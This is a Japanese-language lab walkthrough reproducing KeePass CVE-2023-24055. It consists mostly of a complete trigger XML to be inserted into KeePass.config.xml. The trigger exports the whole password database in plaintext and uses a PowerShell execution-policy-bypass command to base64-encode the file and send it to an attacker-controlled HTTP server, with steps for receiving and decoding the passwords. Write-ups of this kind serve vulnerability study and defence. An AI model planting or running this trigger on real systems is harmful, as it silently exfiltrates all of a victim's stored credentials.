KeePass CVE-2023-24055 再現 KeePass CVE-2023-24055 再現
1,マシンの準備: kali(192.168.232.129)、windows10(192.168.232.128)
2, keepass バージョン: 2.53

2,原理: KeePassの設定ファイルKeePass.config.xmlを編集し、トリガー設定項目を追加する:平文パスワードをエクスポートして攻撃者のサーバーにアップロードする;トリガーのXMLコードは以下の通り:
ここで:<Parameter>c:\Users\Long\AppData\Local\Temp\exploit.xml</Parameter>フィールドはエクスポートする平文パスワードのローカルパスを設定します。
PowerShellを使用してGETメソッドでパスワードファイルを転送する
<Parameter>PowerShell.exe</Parameter>
<Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\Long\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.232.129:8888/$var -Method GET </Parameter>
<Triggers>
<Trigger>
<Guid>lztpSRd56EuYtwwqntH7TQ==</Guid>
<Name>exploit</Name>
<Events>
<Event>
<TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid>
<Parameters>
<Parameter>0</Parameter>
<Parameter />
</Parameters>
</Event>
</Events>
<Conditions />
<Actions>
<Action>
<TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
<Parameters>
<Parameter>c:\Users\Long\AppData\Local\Temp\exploit.xml</Parameter>
<Parameter>KeePass XML (2.x)</Parameter>
<Parameter />
<Parameter />
</Parameters>
</Action>
<Action>
<TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
<Parameters>
<Parameter>PowerShell.exe</Parameter>
<Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\Long\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.232.129:8888/$var -Method GET </Parameter>
<Parameter>False</Parameter>
<Parameter>1</Parameter>
<Parameter />
</Parameters>
</Action>
</Actions>
</Trigger>
</Triggers>
3,ファイルKeePass.config.xmlを編集し、XML設定項目を追加して保存する(追加場所:<TriggerSystem></TriggerSystem>タグ内)、keepassを開いて追加が成功したか確認する:

4,kaliを開き、コマンドpython3 -m http.server 8888を使用してWebサービスを起動し、エクスポートされたパスワード平文を受信する

5,keepassを開いて新しいエントリを作成して保存すると、トリガーが作動し、kaliが受信した内容を確認する:

6,内容をファイルにコピーし、base64でデコードすると、平文パスワードが得られる

